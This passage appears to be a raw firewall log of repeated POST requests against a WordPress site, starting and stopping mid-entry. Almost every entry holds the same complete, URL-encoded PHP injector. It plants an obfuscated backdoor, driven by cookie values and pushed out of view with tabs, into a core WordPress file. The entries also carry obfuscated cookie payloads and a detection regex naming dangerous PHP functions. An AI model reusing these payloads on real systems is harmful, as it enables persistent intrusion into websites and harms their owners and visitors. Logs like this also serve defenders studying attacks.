%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:56:31","172.86.89.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ey:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3256\n\nEy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:56:37","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3256\n\nXk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:56:42","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3256\n\nlg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:56:47","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:3279\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.min.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B19%255D%2528%2529.%2524p%255B5%255D%253Bif%2528%2521%2524p%255B0%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B27%255D.%2524p%255B12%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C